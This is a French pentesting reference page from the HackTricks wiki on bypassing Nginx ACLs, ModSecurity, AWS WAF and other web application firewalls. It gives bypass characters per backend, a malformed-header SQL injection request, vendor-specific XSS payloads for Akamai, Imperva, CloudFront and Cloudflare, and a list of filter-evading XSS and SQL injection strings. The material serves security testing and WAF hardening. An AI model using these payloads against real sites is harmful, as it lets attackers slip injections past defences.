hacktricks/src/pentesting-web/proxy-waf-protections-bypass.md

16 KiB
Raw Blame History

Proxy / WAF Protections Bypass

{{#include ../banners/hacktricks-training.md}}

Bypass Nginx ACL Rules with Pathname Manipulation

Techniques de cette recherche.

Exemple de règle Nginx :

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (en supprimant des caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.

NodeJS - Express

Version Nginx Caractères de contournement Node.js
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Version Nginx Caractères de contournement Flask
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Version Nginx Caractères de contournement Spring Boot
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Configuration FPM Nginx :

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx est configuré pour bloquer l'accès à /admin.php, mais il est possible de contourner cela en accédant à /admin.php/index.php.

Comment prévenir

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

Dans ce post il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), a mal implémenté la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.
Par conséquent, une requête comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformé en ? terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.

Les variables REQUEST_BASENAME et PATH_INFO ont également été affectées par ce bug.

Quelque chose de similaire s'est produit dans la version 2 de Mod Security qui a permis de contourner une protection empêchant l'accès des utilisateurs à des fichiers avec des extensions spécifiques liées aux fichiers de sauvegarde (comme .bak) simplement en envoyant le point encodé en URL %2e, par exemple : https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

Cette recherche mentionne qu'il était possible de contourner les règles AWS WAF appliquées sur les en-têtes HTTP en envoyant un en-tête "malformé" qui n'était pas correctement analysé par AWS mais l'était par le serveur backend.

Par exemple, en envoyant la requête suivante avec une injection SQL dans l'en-tête X-Query :

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête tandis que le serveur NODEJS le faisait (ceci a été corrigé).

Contournements génériques de WAF

Limites de taille de requête

Les WAF ont généralement une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH dépasse cette limite, le WAF ne vérifiera pas la requête.

Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync8 Ko
Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access**64 Ko

Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que 128 Ko en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :

Si mode de prévention : Journalise et bloque la requête.
Si mode de détection : Inspecte jusqu'à la limite, ignore le reste et journalise si le Content-Length dépasse la limite.

Par défaut, le WAF inspecte seulement les premiers 8 Ko d'une requête. Il peut augmenter la limite jusqu'à 128 Ko en ajoutant des métadonnées avancées.

Jusqu'à 128 Ko.

Lacunes d'inspection des actifs statiques (.js GETs)

Certaines piles CDN/WAF appliquent une inspection de contenu faible ou nulle aux requêtes GET pour les actifs statiques (par exemple, les chemins se terminant par .js), tout en appliquant des règles globales comme la limitation de débit et la réputation IP. Combiné avec le cache automatique des extensions statiques, cela peut être exploité pour livrer ou semer des variantes malveillantes qui affectent les réponses HTML suivantes.

Cas d'utilisation pratiques :

  • Envoyer des charges utiles dans des en-têtes non fiables (par exemple, User-Agent) sur un GET vers un chemin .js pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache.
  • Utiliser une IP fraîche/propre ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
  • Dans Burp Repeater, utiliser "Envoyer le groupe en parallèle" (style paquet unique) pour faire courir les deux requêtes (.js puis HTML) à travers le même chemin frontal.

Cela s'associe bien avec l'empoisonnement du cache par réflexion d'en-tête. Voir :

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilité Unicode

Selon l'implémentation de la normalisation Unicode (plus d'infos ici), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés ici.

Exemple

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Comme mentionné dans cet article de blog, afin de contourner les WAFs capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.

Par exemple, dans le post, il est mentionné que Akamai a décodé une entrée utilisateur 10 fois. Par conséquent, quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait penser que c'est ok car la balise est fermée. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.

Par conséquent, cela permet de cacher des charges utiles dans des composants encodés que le WAF va décoder et interpréter tandis que la victime ne le fera pas.

De plus, cela peut être fait non seulement avec des charges utiles encodées en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...

Dans le post, les contournements finaux suivants sont suggérés :

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Il est également mentionné qu'en fonction de comment certains WAFs comprennent le contexte de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre /* et */ (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que /*'or sleep(5)-- -*/ ne sera pas détectée et sera valide car /* est la chaîne de départ de l'injection et */ est commenté.

Ces types de problèmes de contexte peuvent également être utilisés pour abuser d'autres vulnérabilités que celle attendue d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).

H2C Smuggling

{{#ref}} h2c-smuggling.md {{#endref}}

IP Rotation

Regex Bypasses

Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont été extraits de cet article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Outils

  • nowafpls: Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur

Références

{{#include ../banners/hacktricks-training.md}}